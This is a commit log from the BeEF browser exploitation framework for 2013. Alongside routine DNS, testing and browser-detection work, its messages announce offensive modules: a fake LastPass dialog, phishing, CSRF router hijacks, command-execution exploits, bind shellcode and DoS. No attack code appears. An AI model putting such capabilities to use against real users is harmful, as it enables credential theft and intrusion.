2f51deb88a Fixed issue with Social Engineering extension when using an SMTP server without any needed authentication. 2013-10-02 14:53:04 +01:00
antisnatchor
8d44b48768 Added dependency to therubyracer (V8 implementation for Ruby) if the OS is not OSX. 2013-10-02 14:24:22 +01:00
antisnatchor
86d23d3815 Fix issue #662 the Web UI base path can now be configured in the main config.yaml. Web UI JS files are now also minified. 2013-10-01 17:16:46 +01:00
bmantra
a1f102b869 Merge pull request #933 from bmantra/master
initial commit of the beef bind shellcode
2013-09-28 12:18:21 -07:00
bmantra
fa95ac5b55 initial commit of the beef bind shellcode 2013-09-28 21:18:23 +02:00
Michele Orru
5980eff047 Merge pull request #931 from DinisCruz/patch-1
adding info to read me about running beef in windows
2013-09-27 02:10:45 -07:00
Dinis Cruz
31587f689b adding into to read me about running beef in windows 2013-09-27 00:59:36 +01:00
bcoles
5942138aba Update spyder eye module
* file error handling
* render the screenshot in the admin UI
* log screenshot filename to master logs
2013-09-12 18:29:56 +09:30
bcoles
189e6543e0 Fix bug with rendering images from command responses in the admin UI 2013-09-12 18:26:00 +09:30
bcoles
25aca3d291 Update 'command.js' for Spyder Eye module 2013-09-11 15:26:15 +09:30
bcoles
257a310a02 Update 'module.rb' for Spyder Eye module 2013-09-11 15:24:54 +09:30
bcoles
2420d59a72 Update 'config.yaml' for Spyder Eye module 2013-09-11 15:20:19 +09:30
Brendan Coles
66f01ff4e6 Merge pull request #930 from preth00nker/master
adding generic module to take screenshoots with canvas
2013-09-10 23:33:37 -07:00
Christian
3f7eec4e28 adding generic module to take screenshoots with canvas 2013-09-09 13:52:13 -05:00
Christian Frichot
1b6159ebeb New Module - Detect Internal IP with WebRTC. See Issue #929 2013-09-08 11:09:57 +08:00
Christian Frichot
df4b0bce5e Supports Chrome 29 detection 2013-09-07 12:56:21 +08:00
Saafan
d872a5a3e7 Merge remote-tracking branch 'origin/master' into Detect-Java
Conflicts:
	core/main/client/browser.js
2013-08-20 05:55:27 -04:00
bcoles
f5b86e7894 Add metasploit default path for kali 2013-08-19 12:37:35 +09:30
bcoles
db83cdd086 Add metasploit default path for pentoo - take 2 2013-08-19 12:37:06 +09:30
bcoles
e9e085e9e1 Add metasploit default path for pentoo 2013-08-17 21:56:42 +09:30
Brendan Coles
62a5d5e96c Merge pull request #927 from thefinn93/spellingfix
Correct minor typo in the default config.yml
2013-08-11 02:22:52 -07:00
Finn Herzfeld
173178e1d6 Updated text as requested by bcoles 2013-08-11 00:07:59 -07:00
bcoles
f2883e0c94 Fixed typo
Extra 'i' from vim insert mode
2013-08-09 13:34:24 +09:30
bcoles
858814c614 Update BeEF core to complete HTTPS support
Part of issue #745
2013-08-09 13:28:35 +09:30
bcoles
21417dc3e2 Update BeEF server protocol for multiple modules to use
`beef.http.https.enable`

Now uses the `beef.net.httpproto` value rather than a hard-coded
protocol string.

Part of issue #745
2013-08-09 13:21:33 +09:30
Finn Herzfeld
ca8f5d37e1 Corrected minor typo 2013-08-06 17:03:17 -07:00
bcoles
c6314f97cb Update version to beef-0.4.4.7-alpha 2013-08-04 16:45:24 +09:30
Brendan Coles
1a5b21765f Merge pull request #924 from phihag/install-pipeline-instead-of-fifo
Use a pipe instead of a fifo during installation
2013-08-04 00:54:26 -07:00
Brendan Coles
9fe27b113f Merge pull request #923 from phihag/install-abort-on-error
Update install to abort on error
2013-08-04 00:52:56 -07:00
Saafan
402f4997df Fixing java support by separating Oracle deployement toolkit in a separate file. #786 2013-08-03 16:25:46 -04:00
Philipp Hagemeister
3948750571 Use a pipe instead of a fifo during installation
bash's anonymous fifos are only available if devfs is mounted.
On a system without /dev mounted (which is perfectly reasonable for a locked-down security testing machine), installing beef fails with (after applying #923)

    install-beef: line 81: /dev/fd/62: No such file or directory

This commit fixes and lets the installation run through.
2013-08-01 17:33:09 +02:00
Philipp Hagemeister
957510b6d9 Abort on error
On a (debian) system without sudo, lots of messages rush by, and it's not obvious was fails.
With this change, the log looks like:

    $ bash install-beef
    bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
    ======================================
               BeEF Installer
    ======================================

    CAUTION: This installation script will install a number of BeEF dependencies including the Ruby-RVM environemnt and it's dependencies.

    In rare cases, this may lead to unexpected behaviour or package conflicts on some systems.

    Are you sure you wish to continue (Y/n)?

    Detecting OS..
    Debian/Ubuntu Detected
    Installing Prerequisite Packages..
    install-beef: line 74: sudo: command not found

which is far more informative.
2013-08-01 17:30:00 +02:00
soh_cah_toa
9d4ea6c224 Fixed issue mentioned in FIXME comment in RubyDNS::Server#match.
Changed 'block.class.name' to just 'block' in case/when clause.
2013-07-22 22:42:27 -04:00
soh_cah_toa
b2aed14234 Added regex support to #add_rule (tests included).
Due to strange behavior in Sourcify, the /.../ literal syntax cannot
be used as a parameter; only %r{} or Regexp::new. There is a note
for this in the documentation for #add_rule.
2013-07-22 22:37:39 -04:00
Saafan
75f33016ea Added support for target browser detection for MSF modules #530 2013-07-22 08:49:56 -04:00
Christian Frichot
7f64c94e03 New Module - Fake LastPass Dialog 2013-07-21 13:53:44 +08:00
Christian Frichot
82a70fbcd0 Detect LastPass module (except on IE) - #802 2013-07-20 13:58:20 +08:00
soh_cah_toa
6a62cf9eaa Added public attributes 'address' and 'port' to Dns::Server.
This removes the need to search config.yaml for the address:port.
Also included unit tests.
2013-07-19 22:33:40 -04:00
soh_cah_toa
8d961c1938 Added support for rules that fail to resolve (e.g. NXDOMAIN).
Included unit tests.
2013-07-19 22:15:25 -04:00
soh_cah_toa
141a12a92f Included #remove_ruleset in public interface tests. 2013-07-17 18:19:56 -04:00
soh_cah_toa
95d0ddbe87 Added new method #remove_ruleset that clears the entire DNS ruleset.
Included unit tests as well.
2013-07-17 18:16:46 -04:00
soh_cah_toa
9cfb98963d Added unit tests for #get_ruleset. 2013-07-16 23:48:46 -04:00
soh_cah_toa
94da775ba6 Added unit tests for #remove_rule (good and bad behavior). 2013-07-15 23:58:37 -04:00
soh_cah_toa
85d4375825 Added unit tests for #get_rule with an invalid id.
Also overrode Kernel#puts to suppress output from RubyDNS.
2013-07-15 23:36:29 -04:00
soh_cah_toa
4d0f58684f Divided #add_rule tests into separate good and bad tests.
Also added unit tests that verify rule id format.
2013-07-15 23:07:06 -04:00
soh_cah_toa
8d95e6f522 Changed public interface tests to use #assert_respond_to.
This will improve the accuracy of potential error messages.
2013-07-15 18:25:33 -04:00
soh_cah_toa
5769615cd5 Added unit tests for #get_rule.
Also removed convenience variables from #add_rule tests (domain and
response). The "response" key in the hash returned by #get_rule is
generated by Sourcify which sourcifies the variable name, not its
value.
2013-07-15 03:48:01 -04:00
soh_cah_toa
9a4fd6cb4c Removed "dns" task in Rakefile since "unit" is fine now. 2013-07-15 03:02:29 -04:00
soh_cah_toa
1ffa21d62a Added unit tests for #add_rule.
These represent the first actual tests for the Dns::Server class.
2013-07-15 02:47:37 -04:00
soh_cah_toa
d8a8e37029 Moved DM adapter setup into first "test" method.
Since #setup is called between each test, the database table would
otherwise be cleared every time.
2013-07-15 02:39:41 -04:00
soh_cah_toa
8270abd2d5 Added unit tests for Dns::Server public interface. 2013-07-15 02:12:31 -04:00
soh_cah_toa
3865aab7ee Added unit tests for required config.yaml settings. 2013-07-15 02:07:26 -04:00
soh_cah_toa
123c3cdc04 FIXED UNIT TEST ISSUES!!! \(^o^)/
Load path and configuration setup belong in #startup along with any
required files. DataMapper adapter connections go in #setup. That's
the secret recipe.
2013-07-15 02:00:12 -04:00
soh_cah_toa
ebbadba6dd Improved #run_server to check if EM reactor is already running.
Also moved Thread creation to inside #run_server instead of
forcing caller to do so.
2013-07-14 23:27:21 -04:00
Christian Frichot
a22926bc53 Merge remote-tracking branch 'origin/master' 2013-07-08 19:41:10 +08:00
bcoles
2c2b9a85f4 Update browser fingerprinting module firefox signatures 2013-07-08 10:57:02 +09:30
bcoles
dd811ca234 Add proxy detection using http headers to browser details
Add proxy details to browser log

Part of issue #527

Note: does not work for transparent proxies
2013-07-08 00:25:49 +09:30
Christian Frichot
acfdf45d16 Merge remote-tracking branch 'origin/master' 2013-07-06 15:10:43 +08:00
bcoles
e88c3c1f86 Add fake_notification_c module
Part of issue #695
2013-07-05 01:17:20 +09:30
bcoles
32b48e5172 Add some client-side debugging to browser.js
Perform minor code formatting changes
2013-07-04 23:50:34 +09:30
bcoles
b16d7e3563 Add fake_notification_ff module
Rename fake_notification module to fake_notification_ie
2013-07-04 23:12:01 +09:30
Christian Frichot
7e73c0a532 Merge remote-tracking branch 'origin/master' 2013-07-04 20:14:29 +08:00
bcoles
1bddb00ec8 Add Replace Video (Fake Plugin) module
Fix issue #695
2013-07-04 11:54:52 +09:30
bcoles
9daacd799e Update version to beef-0.4.4.7 2013-07-04 08:20:05 +09:30
bcoles
4fe51dcd28 Update version to '0.4.4.6.1-alpha' bug fix edition 2013-07-04 08:17:17 +09:30
bcoles
af6cf9e5d4 Add Firefox 23 and 24 support for Firefox aurora/beta users
Firefox 23 ETA August 2013
Firefox 24 ETA September 2013
2013-07-04 07:39:23 +09:30
BWZ
3705009982 LiveCD - updade bundles during beef update
Fixes #918
2013-07-02 18:19:41 +10:00
antisnatchor
7f1473ccbf Added detection for Firefox 22 (and improved detection of FF 21/22 with a new DOM object). 2013-07-01 17:32:00 +01:00
antisnatchor
f869d2924a Fixed an XSS discovered by Mario in the default keylogger. 2013-07-01 15:24:36 +01:00
Christian Frichot
0b1c753bd3 Merge remote-tracking branch 'origin/master' 2013-07-01 16:22:20 +08:00
gcatt
f6ebe9fac0 Revert "Add Unity Web Player detection"
This reverts commit 696e3715fe.
2013-07-01 10:11:20 +02:00
Christian Frichot
570a8266ed Merge remote-tracking branch 'origin/master' 2013-07-01 16:10:33 +08:00
gcatt
696e3715fe Add Unity Web Player detection 2013-07-01 10:07:47 +02:00
Christian Frichot
53536d9d86 Merge remote-tracking branch 'origin/master' 2013-07-01 07:04:42 +08:00
bcoles
e61b266921 update version 2013-07-01 00:42:47 +09:30
bmantra
8cf17b01a5 Merge pull request #916 from bmantra/master
added option to use only LF in the bind shell module for use with Linux
2013-06-28 11:43:27 -07:00
bmantra
164ff5bea6 added option for LF only, to use with Linux 2013-06-28 20:42:53 +02:00
Michele Orru
6c6a33db50 Merge pull request #915 from Nbblrr/master
DNS Enumeration modules does not consider the user timeout parameter
2013-06-28 05:48:54 -07:00
Nbblrr
e95c74b5e1 DNS Enumeration module does not consider the user timeout parameter 2013-06-28 14:33:33 +02:00
soh_cah_toa
d9f7af2721 Reference point for broken unit tests.
NoMethodError and NameError are present.
2013-06-22 03:32:42 -04:00
Michele Orru
c70fa80468 Merge pull request #911 from gcattani/910-HasUnity
Add Unity Web Player detection
2013-06-19 03:06:42 -07:00
gcatt
1be8ec12fd Add Unity Web Player detection 2013-06-18 23:59:43 +02:00
Christian Frichot
0dd499c71a Updated browser detection to capture Chrome under iOS. See Issue #909 2013-06-16 16:19:58 +08:00
Christian Frichot
dab58f0e61 Updated hardware constants better detects and displays pure Nexus phones. Issue #908 2013-06-16 14:49:39 +08:00
Christian Frichot
2e68470d23 Android OS Icon should now display. See Issue #907 2013-06-16 14:27:12 +08:00
Christian Frichot
473f349394 Missing apostrophe in PHP-5.3.9-dos module.rb. This was breaking Rake. Make sure you run rake peeps before pushing! 2013-06-15 13:48:05 +08:00
Christian Frichot
dbebf12d27 Update to browser_filter. See Issue #906 2013-06-15 13:45:24 +08:00
Christian Frichot
96f763b7e0 Chrome 27/28 detection. Fixes Issue #905 2013-06-15 13:41:41 +08:00
bcoles
d40486c391 Add airlive_ip_camera_csrf module 2013-06-14 15:28:35 +09:30
Brendan Coles
d43f443555 Merge pull request #904 from Nbblrr/master
Add modules for detecting MS Office version and Bitdefender 2012

Fix issue #902
Fix issue #903
2013-06-13 22:38:37 -07:00
Nbblrr
2b473bfda9 Add module which detect MS Office version. Closes #903 2013-06-14 00:39:39 +02:00
Nbblrr
a2b627c8ae Add module to detect bitdefender 2012. Closes #902 2013-06-14 00:07:00 +02:00
soh_cah_toa
d45bff3a59 Improved #check_dns_response to use config file for address/port. 2013-06-10 18:11:36 -04:00
soh_cah_toa
d2ac9e0f7a Included broken DNS unit tests so others can help debug.
Temporary 'dns' and 'dns_rest' Rake tasks make it easier to run tests.
2013-06-08 23:25:23 -04:00
soh_cah_toa
9e1ec69e40 Added tests for GET /api/dns/ruleset handler. 2013-06-08 22:44:51 -04:00
soh_cah_toa
e775748603 Added more tests for GET /api/dns/rule/:id with invalid input.
Also changed handler to return 404 when rule isn't found.
2013-06-08 21:58:28 -04:00
soh_cah_toa
3b58518cfd Added tests for GET /api/dns/rule/:id handler.
Fixed #parse_response so that these tests pass.
2013-06-08 19:04:42 -04:00
soh_cah_toa
b9d64f0b89 Significantly refactored code in #test_3_add_rule_types. 2013-06-07 23:56:19 -04:00
soh_cah_toa
e527f1ae09 Refactored redundant code in #test_1_add_rule_good. 2013-06-07 23:09:07 -04:00
soh_cah_toa
68e56fa8c0 Added tests for NS, PTR, SOA, TXT, WKS, and invalid RR types.
All RR's are now tested. Though the tests are yet to be optimized.
2013-06-07 23:03:10 -04:00
soh_cah_toa
eccbdd6958 Added tests for AAAA, CNAME, HINFO, MINFO, and MX RR types.
Also fixed #format_response to properly format MS records.
2013-06-07 18:32:29 -04:00
soh_cah_toa
019ec2f6ed Added new test for attempting to add an existing rule. 2013-06-07 00:05:15 -04:00
soh_cah_toa
cfa9177af1 Added 4 new tests for bad POST /api/dns/rule requests. 2013-06-06 23:58:12 -04:00
soh_cah_toa
1f37ceec9f Began first integration tests for DNS RESTful API interface.
First test is for POST /api/dns/rule handler.
2013-06-06 23:16:40 -04:00
soh_cah_toa
6901581ae7 Moved #format_response call to before when RR type is evaled.
Since #format_response throws an exception for unknown RR types,
calling it first will ensure bad Resolv::DNS::Resource names will
never be evaled.
2013-06-06 22:59:54 -04:00
soh_cah_toa
09ec09601e Changed hash key syntax from previous commit.
Besides being consistent, Sinatra actually requires the string
syntax.
2013-06-05 18:33:08 -04:00
soh_cah_toa
fc6f0aface Changed DELETE handler to return JSON "success" key.
Prior to this, nothing was returned. This will allow users to
determine whether or not a rule was removed as expected.
2013-06-05 18:29:18 -04:00
soh_cah_toa
89a5d6fdbb Modified #remove_rule to return a boolean value.
This is will soon allow the DELETE handler to indicate success
or failure.
2013-06-05 18:20:48 -04:00
soh_cah_toa
6c61b39d81 Changed 401 status to 403 in filter for non-permitted IP's.
403 Forbidden is more appropriate since 401 Unauthorized only
indicates that authentication is needed. In the case of a bad IP,
authentication will make no difference which is exactly what 403 is
meant for.
2013-06-05 17:09:09 -04:00
soh_cah_toa
80ab665054 Added new InvalidParamError class for handling bad named parameters.
Previously, InvalidJsonError was being used mistakenly for this which
is misleading considering no JSON was involved.
2013-06-05 16:56:05 -04:00
soh_cah_toa
e56494d486 Renamed /rules GET route to /ruleset for the sake of consistency.
Also added new "count" key to result that lists the number of rules.
2013-06-05 16:30:24 -04:00
soh_cah_toa
2f5133e11a Changed GET handlers to return recently fixed rule data.
Also wrapped all handlers in a begin/end block that catches
internal StandardError exceptions.
2013-06-05 15:56:33 -04:00
soh_cah_toa
fce4c9196d Modified grep test case to allow #eval use in DNS extension.
Using #eval is necessary for normal functioning and is now used in
a safe manner.
2013-06-03 21:53:06 -04:00
soh_cah_toa
0af4029915 Added placeholders necessary to start DNS unit tests.
Currently does nothing but assert(true).
2013-06-03 21:42:34 -04:00
soh_cah_toa
44622345d0 s/DNS/Dns/g since that is the BeEF style convention. 2013-06-03 17:55:58 -04:00
soh_cah_toa
0f8221918b Improved coding style (a la ruby-style-guide and rubocop).
Because I'm too tired to start testing and need a little victory. ;)
2013-06-03 00:11:41 -04:00
soh_cah_toa
c8c9e1e139 Reimplemented POST handler to avoid unsafe use of #eval.
Now the desired response is passed an array. Each RR type is handled
specially to craft the necessary response.
2013-06-02 22:40:58 -04:00
soh_cah_toa
998980b566 Fixed case-statement in #match that prevented adding rules locally. 2013-06-02 22:23:27 -04:00
bcoles
dbabb379fb Add Iceweasel detection in browser.js 2013-06-02 05:14:33 +09:30
bcoles
5252bea54a Add Get Form Values module
This module retrieves the name, type, and value of all input
fields for all forms on the page.
2013-06-02 05:11:45 +09:30
bcoles
7fdfcc3ef0 Add beef.browser.isA() to avant_steal_history module
Part of issue #774
2013-06-02 03:19:05 +09:30
bcoles
3c5b68e112 Add beef.browser.isA() to detect Avant Browser
Fixes issue #774
2013-06-02 03:14:29 +09:30
Michele Orru
9e17958268 Merge pull request #900 from james-otten/master
Added Actiontec Q1000 router CSRF module
2013-05-31 02:36:40 -07:00
James Otten
f2efa533c8 Added Actiontec Q1000 CSRF module 2013-05-30 15:49:47 -05:00
Christian Frichot
9636cb0972 Updated Gmail detection URL. Fixes #Issue 899 2013-05-28 20:34:56 +08:00
bcoles
1dc59f7b01 Add D-Link ShareCenter command execution exploit module 2013-05-27 13:50:12 +09:30
soh_cah_toa
7f4562945a Added new InvalidJsonError class for handling errors in JSON input.
This is better practice than just (ab)using StandardError.
2013-05-26 23:46:37 -04:00
soh_cah_toa
38284d5eaa Implemented DELETE handler for removing DNS rules. 2013-05-26 23:26:58 -04:00
bcoles
ff620d42f4 Add belkin_dns_csrf DNS hijack module
Part of issue #538
2013-05-27 12:50:06 +09:30
bcoles
61e6337046 Remove zenoss_daemon_csrf module 2013-05-27 12:14:27 +09:30
soh_cah_toa
27b1b530ef Implemented POST handler for /api/dns/rule which adds a new rule.
A host of other changes got roped into this as well. #match now
silently handles blocks passed as a String in order to handle
the 'block' JSON parameter. This is because sourcify doesn't
work with eval'd data.

Rule id's are no longer incremental integers. It's now a 7-character
"token" generated from #secure_token and is managed by the RubyDNS
module.
2013-05-26 22:44:11 -04:00
bcoles
639d0611a6 Add command_id to embedded iframe/img IDs for router exploits
This prevents a race condition where duplicate iframes/imgs are
created if a module is run twice simultaneously. The second iframe/img
was not being removed during `cleanup()`.
2013-05-27 11:56:01 +09:30
bcoles
ab7a62e8a4 Update version 2013-05-27 10:40:58 +09:30
Michele Orru
71f04d82f5 Merge pull request #849 from geefunkmasterpro/master
Enhancements to Mass Mailer
2013-05-26 04:58:57 -07:00
bcoles
704b979054 minor syntax changes to php-5.3.9-dos module 2013-05-26 02:48:04 +09:30
bcoles
7aaafc79aa Remove bi-directional communication from IPEC win bindshell module 2013-05-26 02:41:04 +09:30
bcoles
f90ad4a261 Add detection for WebRTC support 2013-05-24 17:06:36 +09:30
bcoles
0dfab0e348 Add EXTRAnet Collaboration Tool Command Execution exploit module 2013-05-24 16:40:02 +09:30
bcoles
018a849e14 Add 'path' argument for beef.dom.createIframeIpecForm() 2013-05-24 14:01:21 +09:30
bcoles
717f63ff0c Add ruby-nntpd Command Execution exploit module 2013-05-24 13:50:04 +09:30
bcoles
9bac6b4fc1 Add support for Firefox 21 2013-05-24 13:47:31 +09:30
bcoles
2dae1d4c07 Add /bin/sh -c to default command 2013-05-22 14:37:01 +09:30
bcoles
7de48ceafb Add GroovyShell Server Command Execution IPEC exploit module 2013-05-22 02:32:27 +09:30
soh_cah_toa
c6f38324d1 Refactored #get_ruleset to be part of RubyDNS.
All database logic should be inside RubyDNS since BeEF's DNS class
is mostly just a wrapper around it.
2013-05-18 21:00:22 -04:00
soh_cah_toa
054767c898 Added RESTful API route for /api/dns/rule/:id.
This will return a single rule given its unique id.
2013-05-17 23:02:40 -04:00
soh_cah_toa
702595c04c Improved a lot of documentation for BeEF::Extension::DNS::DNS. 2013-05-17 19:12:05 -04:00
soh_cah_toa
c70037f9f4 Began adding support for RESTful API beginning with /api/dns/rules. 2013-05-17 18:25:22 -04:00
soh_cah_toa
13001b9642 Updated README.mkd to mention rubydns and sourcify dependencies.
This was forgettin in commit 872ce2e.
2013-05-16 23:24:23 -04:00
soh_cah_toa
18a78b57b2 Fixed load_rules() to rebuild 'pattern' and 'type' as an array.
This was forgotten in the previous commit.
2013-05-16 23:20:04 -04:00
soh_cah_toa
24f7e5b6cd Separated 'pattern' and 'type' properties in DNS model.
This will expose the resource type to the RESTful API (coming soon).
2013-05-16 23:14:29 -04:00
soh_cah_toa
6d2a771084 Changed model name to BeEF::Core::Models::DNS::Rule.
This is more descriptive and follows the singular name convention.
2013-05-15 22:29:42 -04:00
soh_cah_toa
271b2b8e85 Removed RubyDNS::Server#rules attribute accessor since it's unused. 2013-05-15 22:19:58 -04:00
soh_cah_toa
35f25bbeb9 Removed load_rules() and parse_type() since they're unused. 2013-05-15 22:18:16 -04:00
soh_cah_toa
872ce2e92f Updated README to mention rubydns and sourcify dependencies. 2013-05-15 22:15:50 -04:00
soh_cah_toa
992e95f0d7 Added database support when adding/removing rules.
Needed to add 'sourcify' as a dependency in order to store code blocks
in the database.
2013-05-15 22:12:37 -04:00
soh_cah_toa
1f7e748afc Removed parse_response() since it's no longer needed. 2013-05-14 19:23:08 -04:00
soh_cah_toa
ddcb040c40 Marked add_rule() and remove_rule() as critical sections.
Mutual exclusion is imperative here since other modules/extenions may
be simultaneously adding/removing rules, thus putting the value of
@next_id at risk of becoming inconsistent.
2013-05-14 19:12:23 -04:00
soh_cah_toa
e563a8946b Began implementing new method of adding rules without periodic timer.
Also added improved documentation for add_rule() and remove_rule().
2013-05-14 18:47:51 -04:00
soh_cah_toa
86e01b1327 Documented run_server() and add_rule(). 2013-05-10 23:19:58 -04:00
soh_cah_toa
d622bf3e5e New DNS entries can now be added dynamically without a server restart.
Database is checked every five seconds and adds new rules if there
were any changes.
2013-05-10 23:01:10 -04:00
Brendan Coles
8ecdceb928 Merge pull request #894 from sgorbaty/master
New functionality - detect phonegap plugins
2013-05-09 01:59:49 -07:00
Sergey Gorbaty
498372aef3 Adding phonegap integration with keychain plugin 2013-05-08 13:18:31 -07:00
soh_cah_toa
c7eb1c7fc9 Added DNS database model to load resource records from.
Now modules/extensions can dynamically add new RR's. However, changes
don't take effect until BeEF restarts (fix incoming).
2013-05-08 00:03:08 -04:00
soh_cah_toa
d24a00a639 Overrode RubyDNS::Transaction.respond! to use debug logger instead.
Now all RubyDNS output is properly disabled unless --verbose is given.
2013-05-07 23:59:27 -04:00
soh_cah_toa
c7981f3c0d Demoted UPSTREAM from constant to local variable. Minimizes scope. 2013-05-07 22:40:26 -04:00
soh_cah_toa
281cde1cbb Added new definition for Logger#warn. 2013-05-07 22:06:13 -04:00
soh_cah_toa
493ed5182b Made BeEF::Extension::DNS::DNS into a singleton object.
This ensures that all modules/extensions that add new RR's
refer to a single server instance.
2013-05-07 21:56:11 -04:00
Sergey Gorbaty
55d8506960 Added primitive phonegap plugin detection 2013-05-07 17:10:12 -07:00
antisnatchor
8d60c10298 Merge branch 'master' of https://github.com/beefproject/beef 2013-05-07 13:04:19 +02:00
antisnatchor
94d15cd386 Added DOS module which allows you to send multiple GET or POST requests to a target, from a WebWorker in order to don't slow down the whole browser. 2013-05-07 13:00:34 +02:00
soh_cah_toa
ceb55ef3df Resolved DNS thread issue using EM::next_tick() instead of sleep(). 2013-05-06 13:09:44 -04:00
bcoles
5bbf26abac Add beef.http.dns_port config option 2013-05-06 16:03:17 +09:30
soh_cah_toa
cbd815c519 Changed output format for RubyDNS to be "BeEF-compliant".
RubyDNS's logger now uses BeEF's print-related functions. Debug
messages regarding queries can be enabled using --verbose.
2013-05-05 22:19:54 -04:00
soh_cah_toa
d22373d828 Fixed thread issue that occasionally caused BeEF to stop immediately.
While using sleep() to fix thread complications is never a great
solution, it gets the job done for now.
2013-05-05 21:14:30 -04:00
Brendan Coles
5b90c351da Merge pull request #888 from sgorbaty/master
Adding new features to Phonegap module
2013-05-05 17:26:31 -07:00
antisnatchor
b501fe7c1a Updated Rack dependency in Gemfile in order to don't create conflicts with the updated Sinatra dependency. 2013-05-04 09:42:40 +01:00
Michele Orru
b28e631500 Merge pull request #889 from 0x1a0ran/master
Bug fix: cross-origin XHR with "Origin" or "Referrer" header set always return 403.
2013-05-04 01:30:42 -07:00
soh_cah_toa
fdd1048f1a Implemented basic nameserver and configured it to run on BeEF startup.
It's worth noting that RubyDNS currently displays a lot of messy
output. This needs to be addressed before moving any further.
2013-05-03 22:37:42 -04:00
soh_cah_toa
cc4b34ed8d Started basic DNS extension. Currently does nothing. 2013-05-03 21:25:53 -04:00
soh_cah_toa
9f7d326f6f Added RubyDNS to Gemfile and core/loader.rb. 2013-05-03 17:34:41 -04:00
Sergey Gorbaty
5722cb2bc1 Added email to contact list 2013-05-03 14:24:23 -07:00
Sergey Gorbaty
0479744dfc added device model detection 2013-05-03 14:14:19 -07:00
Sergey Gorbaty
3dbfdbac7e Adding user prompt 2013-05-03 14:02:53 -07:00
Sergey Gorbaty
d3262d9451 Adding local detection 2013-05-03 13:34:09 -07:00
Sergey Gorbaty
906ca6ccce Cordova detection added 2013-05-03 13:13:24 -07:00
Xiaoran Wang
ea560c3464 Added configurable port for postsql and mysql 2013-05-03 13:01:37 -07:00
Xiaoran Wang
b79402ce5f updated sinatra from 1.3.2 to 1.4.2 to fix the CORS request always return a 403 bug. link here https://github.com/sinatra/sinatra/issues/518 2013-05-03 11:02:11 -07:00
Sergey Gorbaty
1699d52475 adding contact list 2013-05-03 10:09:09 -07:00
antisnatchor
c5d5b99472 Issue #886: The preflight OPTIONS request now allow also the content-type header, required to use a json conten-type with POST requests. 2013-05-02 10:55:16 +01:00
antisnatchor
9915547b19 Issue #886: Added support for preflight OPTIONS request. 2013-05-01 17:19:48 +01:00
antisnatchor
ef2eac26eb Issue #886: Added support for CORS on the Router object. The RESTful aPI can not be called from JS x-domain. 2013-05-01 11:15:21 +01:00
bcoles
09be2db069 Update version to beef-0.4.4.5 2013-05-01 17:53:21 +09:30
bcoles
6da4e2c39c Update version to '0.4.4.4.1-alpha' bug fix edition 2013-05-01 17:49:21 +09:30
bcoles
15c7e64e93 Fix bug with module image result rendering in admin UI 2013-05-01 17:47:00 +09:30
bcoles
91e2b36ce4 Update webcam module so the picture returned as a base64 encoded string
will be rendered in the admin UI
2013-05-01 16:44:28 +09:30
bcoles
b82696ead2 Enabled web server imitation by default
The time has come. This feature has been stable for a while.
2013-05-01 16:43:26 +09:30
bcoles
7233957664 Update version 2013-04-30 18:56:37 +09:30
bcoles
88678f986c Add 'Debug -> Test Return Image' module
Part of isse #883
2013-04-30 18:40:25 +09:30
bcoles
719bb4a20b Fixed malformed YAML in modules/browser/get_visited_domains/config.yaml 2013-04-25 01:37:15 +09:30
antisnatchor
4ea18852f6 Updated eventmachine gem version in Gemfile. 2013-04-21 10:52:46 +01:00
qswain2
c16479a14e Add chrome support to get_visited_domains
Added chrme implementation based on visipisi
2013-04-19 01:02:48 -04:00
bcoles
59951959f1 Add Opencart password reset CSRF module
This module hasn't been tested against an Opencart instance
2013-04-19 09:18:05 +09:30
bcoles
da763df110 Uncommented several instances of beef.debug() - Part of issue #862 2013-04-17 22:12:35 +09:30
bcoles
4980ca02a6 Add beef.client.debug config property - Part of issue #862
Client-side debugging is disabled by default

`beef.debug()` now only shows messages if `beef.client.debug` is true
2013-04-17 22:05:31 +09:30
Christian Frichot
6e0f7a266e Issue #883. Admin UI will inline display images from the HTML5 webcam module now 2013-04-15 19:28:52 +08:00
Christian Frichot
e3cb7f7a2d #882. New HTML5 WebRTC Webcam Module 2013-04-15 19:20:48 +08:00
Christian Frichot
6e9db43463 Fixes issue #881. Console fix for reviewing previous responses 2013-04-15 19:18:07 +08:00
bcoles
a172362452 Part of issue #862 - Add beef.debug() for client-side debugging
Add `beef.debug()` function - wraps `console.log()`

Debug messages are suppressed for browsers which don't support `console.log()`

Update './core/*' to use `beef.debug()` instead of `console.log()`
Update './modules/*' to use `beef.debug()` instead of `console.log()`
Update './extensions/*' to use `beef.debug()` instead of `console.log()`

Add 'modules/debug/test_beef_debug/' module
2013-04-15 16:49:01 +09:30
bcoles
55b0bee9ca Re-enable XSS-Rays vectors containing ' charater
Fix issue #47
2013-04-14 20:38:41 +09:30
Christian Frichot
950c3d37a7 Fixes Issue #880. Detect Tor update - now works 2013-04-13 14:51:34 +08:00
Christian Frichot
1721d3c263 Fixes issue #879. Console enhancements. 2013-04-13 14:48:40 +08:00
antisnatchor
5585879cca Updated multiple core files to use hook_session_name consistently from the config.yaml file. 2013-04-09 10:25:49 +01:00
Christian Frichot
d855100ac9 Fixes #878 and #758. 2013-04-08 21:52:50 +08:00
Christian Frichot
fad33dfea7 Fixes #877. New IE Fake Notification Bar Module 2013-04-08 19:36:02 +08:00
Christian Frichot
b4732a9438 Fixes #876. Can detect Chrome 26. 2013-04-08 13:08:56 +08:00
antisnatchor
73e291832e Replacing document.location.href with location in xssrays.js. 2013-04-07 15:54:14 +01:00
antisnatchor
85b204f52b Updated beef.hardware component name for consistency. 2013-04-07 13:19:23 +01:00
antisnatchor
78410e28eb Changed attachApplet dom.js method to use <applet> also for Firefox, instead of the <embed> tag. This fixes some issues when running Signed Applets. 2013-04-06 12:30:00 +01:00
antisnatchor
222cff3f1d Added a README file for the JavaPaylod signed applet exploit. 2013-04-06 12:29:05 +01:00
Christian Frichot
2ef1b5bab8 Updates gmail phishing command module. Fixes #873 2013-04-06 15:54:55 +08:00
Christian Frichot
af67c6a8d9 Few enhancements to dom.js. See #870 #871 #872 2013-04-06 15:52:32 +08:00
Christian Frichot
79572a61f0 Renamed webcam_permission_check module 2013-04-06 14:35:21 +08:00
Christian Frichot
2fcdf1038d xntriks updates to webcam_perm_check 2013-04-06 14:32:51 +08:00
Christian Frichot
cca21f1003 Merge pull request #869 from bw-z/master
Added Webcam Permission Check Module - which I'll then update.
2013-04-05 23:29:21 -07:00
Christian Frichot
07fe3a9c0e Updates to tabnabbing module to use jQuerys wider event handling. #868 2013-04-04 21:33:43 +08:00
Christian Frichot
69fd3e600c Event log now logs when a zombie comes back online. #867 2013-04-04 21:29:18 +08:00
